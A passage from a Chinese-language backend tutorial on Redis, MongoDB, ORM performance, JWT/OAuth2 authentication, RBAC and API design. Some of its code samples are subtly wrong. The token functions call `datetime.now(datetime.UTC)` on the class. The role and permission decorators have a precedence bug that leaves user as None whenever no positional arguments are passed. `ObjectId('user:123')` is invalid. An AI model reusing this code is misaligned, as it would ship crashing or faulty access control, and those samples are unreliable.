result = pipe.execute()                          # 原子执行

Lua 脚本(原子操作)

# Lua 脚本——在 Redis 服务端执行复杂逻辑(原子性)
# 限流脚本(滑动窗口)
lua_script = """
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
local count = redis.call('ZCARD', key)
if count < limit then
    redis.call('ZADD', key, now, now)
    redis.call('EXPIRE', key, window)
    return 1
else
    return 0
end
"""

# 注册并执行
script = r.register_script(lua_script)
result = script(keys=["rate:user:123"], args=[100, 60, time.time()])

Redis 持久化与过期策略

# 持久化方式
# 1. RDB 快照(定期把内存数据写入磁盘)
# redis.conf:
# save 900 1       # 900 秒内有 1 次修改就快照
# save 300 10      # 300 秒内有 10 次修改就快照

# 2. AOF 日志(记录每个写命令)
# redis.conf:
# appendonly yes
# appendfsync everysec  # 每秒同步一次

# 过期策略
# redis.conf:
# maxmemory 4gb                              # 最大内存
# maxmemory-policy allkeys-lru               # 内存满时淘汰策略
# allkeys-lru: 淘汰最近最少使用的 key(推荐)
# volatile-lru: 只淘汰有过期时间的 key
# noeviction: 内存满了直接报错
Redis 数据持久化

Redis 默认把数据存在内存——重启后数据丢失!开启 RDB 快照或 AOF 日志来持久化。生产环境必须配置持久化 + 定期备份。建议同时开启 RDB + AOF。

Redis 选型建议

① 缓存:String + TTL。② 计数器/限流:INCR + EXPIRE。③ 排行榜:Sorted Set。④ 消息队列:List 或 Stream。⑤ 分布式锁:SET NX EX。⑥ 实时通知:Pub/Sub。⑦ 购物车:Hash。

Redis 集群架构

# 单机 Redis 无法满足生产需求,需要集群方案

# 方案 1:主从复制(Master-Slave)
# ┌─────────┐
# │  Master  │ ← 写操作
# └─────────┘
#       │ 复制
# ┌─────────┐  ┌─────────┐
# │  Slave1  │  │  Slave2  │ ← 读操作
# └─────────┘  └─────────┘
# 优点:读写分离,读性能提升
# 缺点:Master 单点故障,无法自动故障转移

# 方案 2:哨兵模式(Sentinel)
# ┌──────────┐  ┌──────────┐  ┌──────────┐
# │ Sentinel1│  │ Sentinel2│  │ Sentinel3│
# └──────────┘  └──────────┘  └──────────┘
#       │              │              │
#       └──────────────┼──────────────┘
#                      │ 监控
# ┌─────────┐    ┌─────────┐    ┌─────────┐
# │  Master  │    │  Slave1  │    │  Slave2  │
# └─────────┘    └─────────┘    └─────────┘
# 优点:自动故障转移(Master 挂了自动选新 Master)
# 缺点:单个 Master 写能力有限

# 方案 3:Cluster 分片
# ┌─────────┐    ┌─────────┐    ┌─────────┐
# │ Master1  │    │ Master2  │    │ Master3  │
# │ slot 0-  │    │ slot     │    │ slot     │
# │ 5460     │    │ 5461-    │    │ 10923-   │
# └─────────┘    │ 10922    │    │ 16383    │
#       │        └─────────┘    └─────────┘
#       │              │              │
# ┌─────────┐    ┌─────────┐    ┌─────────┐
# │  Slave1  │    │  Slave2  │    │  Slave3  │
# └─────────┘    └─────────┘    └─────────┘
# 优点:水平扩展,数据分片,高可用
# 缺点:客户端需要支持 Cluster 协议

# Redis Cluster 客户端使用
from redis.cluster import RedisCluster

rc = RedisCluster(
    host="localhost",
    port=7000,
    decode_responses=True
)

# 自动路由到正确的分片
rc.set("user:1", "张三")  # 根据 key 的 hash 自动路由
rc.get("user:1")

# 查看集群信息
print(rc.cluster_info())
print(rc.cluster_nodes())

Redis Stream(可靠消息队列)

# Redis 5.0+ 引入的 Stream 数据结构,比 List 和 Pub/Sub 更可靠
# 特点:持久化、消费者组、消息确认、重试机制

# 生产者
r.xadd("mystream", {"name": "张三", "action": "login"})
r.xadd("mystream", {"name": "李四", "action": "purchase"})

# 消费者组
r.xgroup_create("mystream", "mygroup", id="0", mkstream=True)

# 消费者读取
while True:
    messages = r.xreadgroup(
        groupname="mygroup",
        consumername="consumer-1",
        streams={"mystream": ">"},
        count=10,
        block=5000  # 阻塞 5 秒
    )
    for stream, messages_list in messages:
        for message_id, data in messages_list:
            print(f"收到消息: {message_id} -> {data}")
            # 处理完成后确认
            r.xack("mystream", "mygroup", message_id)

# 查看待处理消息(未确认的)
pending = r.xpending("mystream", "mygroup")
print(f"待处理消息数: {pending['pending']}")

# 重试失败的消息
r.xclaim("mystream", "mygroup", "consumer-2",
         min_idle_time=60000,  # 超过 60 秒未确认
         message_ids=["1234567890-0"])

大 Key 检测与处理

# 大 Key 的危害:
# 1. 阻塞其他请求(Redis 单线程)
# 2. 网络带宽消耗大
# 3. 内存不均衡(Cluster 模式下)

# 检测大 Key
# 命令行:redis-cli --bigkeys
# 也可以用 memory usage 命令
r.memory_usage("user:1")

# 处理大 Key 的策略:
# 1. 拆分:Hash 拆成多个小 Hash
#    user:1 → user:1:basic, user:1:extra, user:1:tags

# 2. 压缩:存储压缩后的数据
import json
import zlib

def set_compressed(r, key, data, ex=None):
    compressed = zlib.compress(json.dumps(data).encode())
    r.set(key, compressed, ex=ex)

def get_compressed(r, key):
    compressed = r.get(key)
    if compressed:
        return json.loads(zlib.decompress(compressed))
    return None

# 3. 渐进式删除(避免 DEL 大 Key 阻塞)
def delete_large_key(r, key):
    """渐进式删除大 Hash/Set"""
    cursor = 0
    while True:
        cursor, keys = r.hscan(key, cursor, count=100)
        if keys:
            r.hdel(key, *keys.keys())
        if cursor == 0:
            break
    r.delete(key)

35. MongoDB 与 NoSQL

MongoDB 是最流行的 NoSQL 数据库——它不存"行和列",而是存"文档"(JSON 格式)。当数据结构不固定或需要灵活的 Schema 时,MongoDB 是好选择。

关系型 vs 文档型

维度MySQL/PostgreSQLMongoDB
数据模型行和列(表)文档(JSON/BSON)
Schema严格固定灵活,每条记录可以不同
关联查询JOIN(强大)嵌入文档 或 $lookup
事务完整支持4.0+ 支持多文档事务
适用场景结构化数据、复杂关系非结构化数据、快速迭代
# PyMongo 基础操作
from pymongo import MongoClient

client = MongoClient('mongodb://localhost:27017/')
db = client['mydb']
users = db['users']

# 插入
users.insert_one({"name": "张三", "age": 25, "tags": ["python", "django"]})
users.insert_many([{"name": "李四"}, {"name": "王五"}])

# 查询
user = users.find_one({"name": "张三"})
users.find({"age": {"$gt": 18}})         # age > 18
users.find({"tags": "python"})            # tags 包含 "python"

# 更新
users.update_one({"name": "张三"}, {"$set": {"age": 26}})
users.update_many({"age": {"$lt": 18}}, {"$inc": {"age": 1}})  # age + 1

# 删除
users.delete_one({"name": "张三"})

# 聚合管道
pipeline = [
    {"$match": {"age": {"$gte": 18}}},
    {"$group": {"_id": "$city", "count": {"$sum": 1}}},
    {"$sort": {"count": -1}}
]
result = list(users.aggregate(pipeline))
什么时候选 MongoDB?

① 数据结构经常变化(如用户自定义字段)。② 文档型数据(如博客评论、日志、配置)。③ 需要快速开发迭代。④ 读多写少、水平扩展需求。不要为了"新潮"用 MongoDB——如果数据是结构化的、关系明确的,用 MySQL/PostgreSQL 更合适。

索引与 Schema 设计

# MongoDB 索引
# 创建索引
db.users.create_index("email", unique=True)
db.articles.create_index([("status", 1), ("created_at", -1)])  # 复合索引
db.articles.create_index([("title", "text"), ("content", "text")])  # 全文索引

# 查询使用索引
db.articles.find({"status": "published"}).sort("created_at", -1).explain()["executionStats"]

# Schema 设计模式
# 1. 嵌入模式(Embedding)—— 把关联数据放在同一个文档中
# 适用:1:1 或 1:少量 的关系,数据经常一起查询
{
    "_id": ObjectId("..."),
    "username": "张三",
    "profile": {                               # 嵌入
        "avatar": "http://...",
        "bio": "后端开发"
    },
    "addresses": [                             # 嵌入数组
        {"city": "北京", "street": "长安街"},
        {"city": "上海", "street": "南京路"}
    ]
}

# 2. 引用模式(Referencing)—— 存储关联文档的 ID
# 适用:1:N 或 N:N 的关系,关联数据独立变化
{
    "_id": ObjectId("..."),
    "title": "Python 教程",
    "author_id": ObjectId("user:123"),         # 引用
    "tags": [ObjectId("tag:1"), ObjectId("tag:2")]
}

# 选择依据:
# 读多写少 + 数据量小 → 嵌入
# 数据量大 + 独立变化 → 引用

Change Streams(实时监听)

# Change Streams——监听数据变更(类似数据库触发器)
# 适用:实时同步、审计日志、事件驱动

# 监听集合变更
with db.users.watch() as stream:
    for change in stream:
        print(f"操作: {change['operationType']}")
        print(f"文档: {change['fullDocument']}")
        # 操作类型:insert, update, replace, delete

# 监听特定条件
pipeline = [{'$match': {'operationType': 'insert'}}]
with db.users.watch(pipeline=pipeline) as stream:
    for change in stream:
        print(f"新文档: {change['fullDocument']}")

# Motor 异步版本
async with db.users.watch() as stream:
    async for change in stream:
        print(f"变更: {change}")

GridFS 大文件存储

# GridFS——存储超过 16MB 的文件(视频、大文档)
import gridfs

fs = gridfs.GridFS(db)

# 存储文件
with open("video.mp4", "rb") as f:
    file_id = fs.put(f, filename="video.mp4", content_type="video/mp4")

# 读取文件
file_data = fs.get(file_id)
with open("downloaded.mp4", "wb") as f:
    f.write(file_data.read())

# 查询文件信息
for file_info in db.fs.files.find():
    print(f"文件名: {file_info['filename']}, 大小: {file_info['length']}")
什么时候选 MongoDB?

① 数据结构经常变化(如用户自定义字段)。② 文档型数据(如博客评论、日志、配置)。③ 需要快速开发迭代。④ 读多写少、水平扩展需求。⑤ 实时数据(Change Streams)。不要为了"新潮"用 MongoDB——如果数据是结构化的、关系明确的,用 MySQL/PostgreSQL 更合适。

Motor:异步 MongoDB 驱动

FastAPI 用 Motor 替代 PyMongo 实现异步操作:from motor.motor_asyncio import AsyncIOMotorClient。用法和 PyMongo 几乎一样,只是方法前加 await。

36. ORM 性能陷阱

ORM 让你不用写 SQL,但也隐藏了底层的查询细节。最常见的性能杀手是 N+1 查询问题。

一个类比

N+1 就像你去餐厅点菜:先问服务员"今天有什么菜?"(1 次查询),服务员拿来菜单。然后你对每道菜都问"这道菜辣不辣?"(N 次查询)。正确的做法是一开始就问"把所有菜的辣度告诉我"(1 次查询搞定)。

N+1 问题演示

# Django 示例
articles = Article.objects.all()         # 1 次查询:SELECT * FROM articles
for article in articles:
    print(article.author.name)           # 每次循环都查一次!N 次查询
# 总共 1 + N 次查询

# 解决方案:select_related(一对一/多对一)
articles = Article.objects.select_related('author').all()
# 只有 1 次查询:SELECT articles.*, users.* FROM articles JOIN users ...

# 解决方案:prefetch_related(多对多/反向查询)
articles = Article.objects.prefetch_related('tags').all()
# 2 次查询:查文章 + 查标签,然后在 Python 中关联

SQLAlchemy 中的 N+1

# ❌ 懒加载(默认行为)—— N+1 问题
articles = session.query(Article).all()
for article in articles:
    print(article.author.name)           # 每次都查数据库

# ✅ 急加载(Eager Loading)
from sqlalchemy.orm import joinedload

articles = session.query(Article).options(joinedload(Article.author)).all()
# 1 次 JOIN 查询搞定

查询优化技巧

# 只查需要的字段(only / defer)
# Django
articles = Article.objects.only('id', 'title')    # 只查 id 和 title

# SQLAlchemy
articles = session.query(Article.id, Article.title).all()

# 查询计数排查
# Django:django-debug-toolbar(开发环境必备)
# 安装:pip install django-debug-toolbar
# 在 settings.py 中添加 INSTALLED_APPS 和中间件

# SQLAlchemy:开启 SQL 日志
engine = create_engine("postgresql://...", echo=True)  # 打印所有 SQL
开发环境必须监控查询次数

在开发环境中,用 Django Debug Toolbar 或 SQLAlchemy 的 echo=True 监控每次请求产生了多少条 SQL。如果一个页面产生了 50+ 条 SQL,大概率有 N+1 问题。

批量操作

# ❌ 慢:逐条插入(N 次数据库交互)
for data in data_list:
    db.add(Model(**data))
    db.commit()

# ✅ 快:批量插入(1 次数据库交互)
objects = [Model(**data) for data in data_list]
db.bulk_save_objects(objects)
db.commit()

# Django 批量操作
User.objects.bulk_create([User(name=f"user{i}") for i in range(1000)])
User.objects.filter(id__in=[1,2,3]).update(status='active')  # 批量更新

# SQLAlchemy 批量更新
db.query(User).filter(User.id.in_([1,2,3])).update(
    {'status': 'active'}, synchronize_session=False
)
db.commit()

Raw SQL 逃生舱

# ORM 搞不定时,用原生 SQL
# SQLAlchemy
result = db.execute(text("""
    SELECT u.username, COUNT(a.id) as article_count
    FROM users u
    LEFT JOIN articles a ON u.id = a.author_id
    GROUP BY u.id, u.username
    ORDER BY article_count DESC
    LIMIT 10
"""))
for row in result:
    print(f"{row.username}: {row.article_count} 篇")

# Django
from django.db import connection
with connection.cursor() as cursor:
    cursor.execute("SELECT * FROM users WHERE age > %s", [18])
    rows = cursor.fetchall()

查询性能分析

# SQLAlchemy SQL 日志
engine = create_engine("postgresql://...", echo=True)  # 打印所有 SQL

# Django Debug Toolbar
# pip install django-debug-toolbar
# 显示每个请求的所有 SQL 查询和耗时

# 查询计数装饰器
import functools
import time

def query_counter(func):
    """统计函数执行了多少次数据库查询"""
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        from sqlalchemy import event
        count = [0]
        def before_execute(conn, clauseelement, multiparams, params, execution_options):
            count[0] += 1
        event.listen(engine, "before_execute", before_execute)
        start = time.time()
        try:
            result = func(*args, **kwargs)
        finally:
            elapsed = time.time() - start
            event.remove(engine, "before_execute", before_execute)
            print(f"{func.__name__}: {count[0]} 次查询, {elapsed:.3f}s")
        return result
    return wrapper
开发环境必须监控查询次数

在开发环境中,用 Django Debug Toolbar 或 SQLAlchemy 的 echo=True 监控每次请求产生了多少条 SQL。如果一个页面产生了 50+ 条 SQL,大概率有 N+1 问题。

优化清单

① 用 select_related / joinedload 解决多对一 N+1。② 用 prefetch_related 解决多对多 N+1。③ 用 only() / defer() 减少不必要的字段。④ 用 exists() 替代 count()(只需要判断有没有)。⑤ 列表接口加分页,永远不要 .all()。⑥ 批量操作替代逐条操作。⑦ 复杂查询用 Raw SQL。

第六部分 · 后端核心能力

37. 认证与授权

认证(Authentication)回答"你是谁",授权(Authorization)回答"你能做什么"。两者缺一不可。

四种认证方式

方式原理适用场景
Session + Cookie服务器存 Session,浏览器存 Cookie传统 Web 应用(有页面)
JWT服务器签发令牌,客户端每次携带API 服务、前后端分离
OAuth2第三方登录(微信、GitHub)社交登录、开放平台
API Key固定的密钥字符串服务间调用、开放 API

JWT 认证(最常用)

# JWT 结构:Header.Payload.Signature
# eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.signature

import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key"

# 生成 Token
def create_token(user_id: int) -> str:
    payload = {
        "user_id": user_id,
        "exp": datetime.now(datetime.UTC) + timedelta(hours=24),  # 24小时过期
        "iat": datetime.now(datetime.UTC),                         # 签发时间
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

# 验证 Token
def verify_token(token: str) -> dict:
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.ExpiredSignatureError:
        raise ValueError("Token 已过期")
    except jwt.InvalidTokenError:
        raise ValueError("Token 无效")

# FastAPI 中使用
from fastapi import Depends, HTTPException

def get_current_user(token: str = Header(...)):
    payload = verify_token(token)
    return payload

@app.get("/profile")
def get_profile(user = Depends(get_current_user)):
    return {"user_id": user["user_id"]}

RBAC 权限模型

# 用户 → 角色 → 权限(三层结构)
class User(Base):
    __tablename__ = 'users'
    id = Column(Integer, primary_key=True)
    username = Column(String(50))

class Role(Base):
    __tablename__ = 'roles'
    id = Column(Integer, primary_key=True)
    name = Column(String(50))  # admin, editor, viewer

class Permission(Base):
    __tablename__ = 'permissions'
    id = Column(Integer, primary_key=True)
    name = Column(String(50))  # article:create, article:delete

# 关联表
user_roles = Table('user_roles', Base.metadata,
    Column('user_id', Integer, ForeignKey('users.id')),
    Column('role_id', Integer, ForeignKey('roles.id'))
)
JWT 安全注意事项

① 不要在 JWT 中存敏感信息(密码、手机号)——JWT 只是 Base64 编码,不是加密。② 设置合理的过期时间(Access Token 15分钟-24小时)。③ 用 HTTPS 传输。④ 用 Refresh Token 机制续期。

密码哈希(bcrypt/argon2)

import bcrypt

# 注册时:加密密码
def hash_password(password: str) -> str:
    salt = bcrypt.gensalt(rounds=12)  # rounds 越大越安全,但越慢
    return bcrypt.hashpw(password.encode(), salt).decode()

# 登录时:验证密码
def verify_password(password: str, hashed: str) -> bool:
    return bcrypt.checkpw(password.encode(), hashed.encode())

# 使用示例
hashed = hash_password("MySecure123!")
print(verify_password("MySecure123!", hashed))  # True
print(verify_password("wrong", hashed))          # False

Access Token + Refresh Token 双 Token 机制

import jwt
from datetime import datetime, timedelta
from uuid import uuid4

SECRET_KEY = "your-secret-key"
REFRESH_SECRET = "your-refresh-secret"

# 生成 Access Token(短生命周期:15分钟)
def create_access_token(user_id: int, roles: list[str]) -> str:
    payload = {
        "user_id": user_id,
        "roles": roles,
        "type": "access",
        "exp": datetime.now(datetime.UTC) + timedelta(minutes=15),
        "iat": datetime.now(datetime.UTC),
        "jti": str(uuid4()),  # 唯一标识,用于黑名单
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

# 生成 Refresh Token(长生命周期:7天)
def create_refresh_token(user_id: int) -> str:
    payload = {
        "user_id": user_id,
        "type": "refresh",
        "exp": datetime.now(datetime.UTC) + timedelta(days=7),
        "iat": datetime.now(datetime.UTC),
        "jti": str(uuid4()),
    }
    return jwt.encode(payload, REFRESH_SECRET, algorithm="HS256")

# 登录接口
@app.post("/auth/login")
async def login(username: str, password: str, db: Session = Depends(get_db)):
    user = db.query(User).filter(User.username == username).first()
    if not user or not verify_password(password, user.hashed_password):
        raise HTTPException(401, "用户名或密码错误")

    access_token = create_access_token(user.id, [r.name for r in user.roles])
    refresh_token = create_refresh_token(user.id)

    return {
        "access_token": access_token,
        "refresh_token": refresh_token,
        "token_type": "bearer",
        "expires_in": 900,  # 15分钟 = 900秒
    }

# 刷新接口
@app.post("/auth/refresh")
async def refresh(refresh_token: str, db: Session = Depends(get_db)):
    try:
        payload = jwt.decode(refresh_token, REFRESH_SECRET, algorithms=["HS256"])
        if payload.get("type") != "refresh":
            raise HTTPException(401, "无效的 Refresh Token")

        # 检查是否在黑名单中
        if redis_client.get(f"blacklist:{payload['jti']}"):
            raise HTTPException(401, "Token 已失效")

        user = db.query(User).filter(User.id == payload["user_id"]).first()
        new_access = create_access_token(user.id, [r.name for r in user.roles])
        return {"access_token": new_access, "token_type": "bearer", "expires_in": 900}
    except jwt.ExpiredSignatureError:
        raise HTTPException(401, "Refresh Token 已过期,请重新登录")

Token 黑名单(登出机制)

import redis

redis_client = redis.Redis(host="localhost", port=6379, db=0)

# 登出时:将 Token 加入黑名单
@app.post("/auth/logout")
async def logout(token: str = Header(...)):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        jti = payload["jti"]
        exp = payload["exp"]
        ttl = exp - int(datetime.now(datetime.UTC).timestamp())

        if ttl > 0:
            redis_client.setex(f"blacklist:{jti}", ttl, "1")  # 过期自动删除
        return {"message": "登出成功"}
    except jwt.InvalidTokenError:
        return {"message": "Token 已失效"}

# 中间件中检查黑名单
async def get_current_user(token: str = Header(...)):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        if redis_client.get(f"blacklist:{payload['jti']}"):
            raise HTTPException(401, "Token 已失效")
        return payload
    except jwt.ExpiredSignatureError:
        raise HTTPException(401, "Token 已过期")

权限校验装饰器

from functools import wraps
from fastapi import HTTPException

def require_role(*required_roles):
    """要求用户具有指定角色"""
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            user = kwargs.get("user") or args[0] if args else None
            if not user:
                raise HTTPException(401, "未登录")
            user_roles = user.get("roles", [])
            if not any(role in user_roles for role in required_roles):
                raise HTTPException(403, f"需要角色: {required_roles}")
            return await func(*args, **kwargs)
        return wrapper
    return decorator

def require_permission(*required_perms):
    """要求用户具有指定权限"""
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            user = kwargs.get("user") or args[0] if args else None
            if not user:
                raise HTTPException(401, "未登录")
            user_perms = user.get("permissions", [])
            if not all(perm in user_perms for perm in required_perms):
                raise HTTPException(403, f"需要权限: {required_perms}")
            return await func(*args, **kwargs)
        return wrapper
    return decorator

# 使用示例
@app.delete("/articles/{article_id}")
@require_role("admin", "editor")
async def delete_article(article_id: int, user = Depends(get_current_user)):
    # 只有 admin 或 editor 能删除文章
    ...

@app.post("/articles")
@require_permission("article:create")
async def create_article(data: ArticleCreate, user = Depends(get_current_user)):
    # 需要 article:create 权限
    ...

OAuth2 授权码流程(第三方登录)

# OAuth2 授权码流程(最安全的流程)

# 1. 用户点击"微信登录" → 跳转到微信授权页面
# 2. 用户授权后 → 微信重定向回你的应用,携带 code
# 3. 你的应用用 code 换取 access_token
# 4. 用 access_token 获取用户信息

# FastAPI + OAuth2 实现
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2AuthorizationCodeBearer
from authlib.integrations.starlette_client import OAuth
import httpx

app = FastAPI()

# 配置 OAuth2 提供商
oauth = OAuth()
oauth.register(
    name='github',
    client_id='your-client-id',
    client_secret='your-client-secret',
    access_token_url='https://github.com/login/oauth/access_token',
    authorize_url='https://github.com/login/oauth/authorize',
    api_base_url='https://api.github.com/',
    client_kwargs={'scope': 'user:email'},
)

# 1. 跳转到授权页面
@app.get("/auth/github/login")
async def github_login():
    redirect_uri = "http://localhost:8000/auth/github/callback"
    return await oauth.github.authorize_redirect(redirect_uri)

# 2. 授权回调(接收 code,换取 token)
@app.get("/auth/github/callback")
async def github_callback(code: str):
    # 用 code 换取 access_token
    async with httpx.AsyncClient() as client:
        token_response = await client.post(
            "https://github.com/login/oauth/access_token",
            data={
                "client_id": "your-client-id",
                "client_secret": "your-client-secret",
                "code": code,
            },
            headers={"Accept": "application/json"}
        )
        token_data = token_response.json()
        access_token = token_data["access_token"]

    # 用 access_token 获取用户信息
    async with httpx.AsyncClient() as client:
        user_response = await client.get(
            "https://api.github.com/user",
            headers={"Authorization": f"Bearer {access_token}"}
        )
        github_user = user_response.json()

    # 查找或创建本地用户
    user = await get_or_create_user(
        provider="github",
        provider_id=github_user["id"],
        username=github_user["login"],
        email=github_user.get("email"),
    )

    # 生成 JWT Token
    jwt_token = create_access_token(user.id)
    return {"access_token": jwt_token, "token_type": "bearer"}

# PKCE 扩展(公共客户端更安全)
# PKCE = Proof Key for Code Exchange
# 防止授权码被拦截后使用

import hashlib
import base64
import secrets

def generate_pkce():
    """生成 PKCE 参数"""
    code_verifier = secrets.token_urlsafe(32)  # 随机字符串
    code_challenge = base64.urlsafe_b64encode(
        hashlib.sha256(code_verifier.encode()).digest()
    ).rstrip(b'=').decode()
    return code_verifier, code_challenge

# 授权请求时携带 code_challenge
code_verifier, code_challenge = generate_pkce()
# 跳转 URL: ...&code_challenge={code_challenge}&code_challenge_method=S256

# 回调时用 code_verifier 换取 token
# POST /token: ...&code_verifier={code_verifier}
OAuth2 安全注意事项

① 始终使用 HTTPS。② 验证 state 参数(防 CSRF)。③ 使用 PKCE(防授权码拦截)。④ 不要在前端存储 client_secret。⑤ access_token 要设置过期时间。⑥ 定期刷新 token。

38. API 设计最佳实践

好的 API 设计让前端开发者一看就懂、一用就会。差的 API 设计让团队反复沟通、不断踩坑。

统一响应格式

# 所有接口返回统一格式
{
    "code": 200,                    # 业务状态码(0=成功,其他=错误)
    "message": "success",           # 提示信息
    "data": {                       # 业务数据
        "id": 1,
        "name": "张三"
    }
}

# 列表接口
{
    "code": 200,
    "data": {
        "items": [...],
        "total": 100,
        "page": 1,
        "size": 20
    }
}

# 错误响应
{
    "code": 40001,                  # 业务错误码
    "message": "用户名已存在",
    "errors": [                     # 详细错误信息
        {"field": "username", "message": "已被注册"}
    ]
}

错误码体系

# 错误码设计:5位数字,前两位表示模块,后三位表示具体错误
# 1xxxx — 通用错误
# 2xxxx — 用户模块
# 3xxxx — 订单模块
# 4xxxx — 支付模块

class ErrorCode:
    SUCCESS = 0
    PARAM_ERROR = 10001           # 参数错误
    NOT_FOUND = 10002             # 资源不存在
    UNAUTHORIZED = 10003          # 未登录
    FORBIDDEN = 10004             # 无权限

    USER_EXISTS = 20001           # 用户已存在
    USER_NOT_FOUND = 20002        # 用户不存在
    PASSWORD_ERROR = 20003        # 密码错误

API 版本管理

# 方式 1:URL 路径(推荐)
GET /api/v1/users
GET /api/v2/users

# 方式 2:请求头
GET /api/users
Accept: application/vnd.myapp.v2+json

# Flask 蓝图实现
from flask import Blueprint

v1 = Blueprint('v1', __name__, url_prefix='/api/v1')
v2 = Blueprint('v2', __name__, url_prefix='/api/v2')
API 设计原则

① URL 用名词复数(/users 不是 /getUser)。② HTTP 方法表示操作(GET/POST/PUT/DELETE)。③ 状态码语义正确(201 创建成功、404 不存在)。④ 所有响应格式统一。⑤ 版本号从 v1 开始。

命名约定

URL 路径用小写连字符(/user-profiles)。JSON 字段用 camelCase(createdAt)或 snake_case(created_at),选一种保持一致。推荐 camelCase(前端习惯)。

39. 分页、过滤、排序与搜索

列表接口是后端最常见的接口——返回数据列表,支持分页、过滤、排序、搜索。

两种分页方式

# 偏移分页(Offset Pagination)—— 最常用
GET /api/users?page=1&size=20
# SQL: SELECT * FROM users LIMIT 20 OFFSET 0

# 问题:当数据量大时,OFFSET 100000 性能很差(要跳过 10 万行)
# 问题:数据变更时可能返回重复或遗漏

# 游标分页(Cursor Pagination)—— 适合大数据量
GET /api/users?cursor=eyJpZCI6MTAwfQ&size=20
# SQL: SELECT * FROM users WHERE id > 100 LIMIT 20

# 优点:性能稳定(不管第几页都是 WHERE id > X)
# 缺点:不能跳页(只能"上一页""下一页")

通用列表接口设计

# FastAPI 实现
@app.get("/api/users")
def list_users(
    # 分页
    page: int = Query(1, ge=1),
    size: int = Query(20, ge=1, le=100),
    # 过滤
    role: Optional[str] = None,
    status: Optional[str] = None,
    # 排序
    sort_by: str = Query("created_at", regex="^(created_at|name|id)$"),
    order: str = Query("desc", regex="^(asc|desc)$"),
    # 搜索
    q: Optional[str] = None,
):
    query = User.query

    # 过滤
    if role:
        query = query.filter(User.role == role)
    if status:
        query = query.filter(User.status == status)

    # 搜索
    if q:
        query = query.filter(User.name.contains(q))

    # 排序
    sort_column = getattr(User, sort_by)
    query = query.order_by(sort_column.desc() if order == 'desc' else sort_column.asc())

    # 分页
    total = query.count()
    items = query.offset((page - 1) * size).limit(size).all()

    return {
        "items": [u.to_dict() for u in items],
        "total": total,
        "page": page,
        "size": size,
        "pages": (total + size - 1) // size,
    }
何时用游标分页?

① 数据量超过 10 万条。② 实时数据流(如朋友圈、微博时间线)。③ 对性能要求高。常见的游标是记录的 ID 或创建时间。

搜索的三个层次

① 模糊搜索(LIKE '%keyword%')——简单但慢,数据量大时不可用。② 全文索引(MySQL FULLTEXT / PostgreSQL tsvector)——中等性能。③ Elasticsearch——专业搜索引擎,适合复杂搜索场景。详见第 65 章。

40. 请求校验与错误处理

用户提交的数据永远不可信。后端必须对每个参数进行校验,并用统一的格式返回错误信息。

全局异常处理器

# FastAPI 全局异常处理
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import JSONResponse

app = FastAPI()

class BusinessError(Exception):
    """业务异常"""
    def __init__(self, code: int, message: str):
        self.code = code
        self.message = message

@app.exception_handler(BusinessError)
async def business_error_handler(request: Request, exc: BusinessError):
    return JSONResponse(
        status_code=200,
        content={"code": exc.code, "message": exc.message, "data": None}
    )

@app.exception_handler(Exception)
async def global_error_handler(request: Request, exc: Exception):
    return JSONResponse(
        status_code=500,
        content={"code": 500, "message": "服务器内部错误", "data": None}
    )

# 使用
@app.get("/users/{user_id}")
def get_user(user_id: int):
    user = db.session.get(User, user_id)
    if not user:
        raise BusinessError(10002, "用户不存在")
    return {"code": 0, "data": user.to_dict()}

自定义异常类体系

class AppError(Exception):
    """应用异常基类"""
    def __init__(self, code=500, message="服务器错误"):
        self.code = code
        self.message = message

class NotFoundError(AppError):
    def __init__(self, resource="资源"):
        super().__init__(404, f"{resource}不存在")

class AuthError(AppError):
    def __init__(self, message="未登录"):
        super().__init__(401, message)

class PermissionError(AppError):
    def __init__(self, message="无权限"):
        super().__init__(403, message)

class ValidationError(AppError):
    def __init__(self, message="参数错误"):
        super().__init__(400, message)
错误处理原则

① 不要暴露内部错误堆栈给用户(安全隐患)。② 区分"用户错误"(4xx)和"服务器错误"(5xx)。③ 错误信息要对用户友好("密码错误"不是"authentication failed")。④ 记录所有 5xx 错误到日志。

41. 数据序列化

序列化(Serialization)是把 Python 对象转成 JSON 的过程。反序列化(Deserialization)是把 JSON 转回 Python 对象并校验。选对工具很重要。

工具框架特点
PydanticFastAPI类型提示驱动,性能极快(v2 用 Rust),自动文档
DRF SerializerDjango REST Framework深度集成 Django ORM,ModelSerializer 极简
MarshmallowFlask / 通用独立于框架,灵活,社区成熟

基础用法

# Pydantic(FastAPI)
from pydantic import BaseModel, Field, EmailStr
from datetime import datetime

class UserOut(BaseModel):
    id: int
    name: str
    email: EmailStr
    created_at: datetime
    model_config = {'from_attributes': True}  # 支持从 ORM 对象转换

# DRF Serializer(Django)
from rest_framework import serializers

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'name', 'email', 'created_at']
        read_only_fields = ['id', 'created_at']

# Marshmallow(Flask)
from marshmallow import Schema, fields

class UserSchema(Schema):
    id = fields.Int(dump_only=True)           # 只序列化,不反序列化
    name = fields.Str(required=True)
    email = fields.Email(required=True)
    created_at = fields.DateTime(dump_only=True)

嵌套序列化(关联对象)

# Pydantic —— 嵌套模型
class ArticleOut(BaseModel):
    id: int
    title: str
    author: UserOut                           # 嵌套用户序列化器
    tags: list[str]
    model_config = {'from_attributes': True}

# DRF —— 嵌套 Serializer
class ArticleSerializer(serializers.ModelSerializer):
    author = UserSerializer(read_only=True)   # 嵌套序列化
    tags = serializers.StringRelatedField(many=True, read_only=True)

    class Meta:
        model = Article
        fields = ['id', 'title', 'author', 'tags', 'created_at']

# Marshmallow —— Nested 字段
class ArticleSchema(Schema):
    id = fields.Int()
    title = fields.Str()
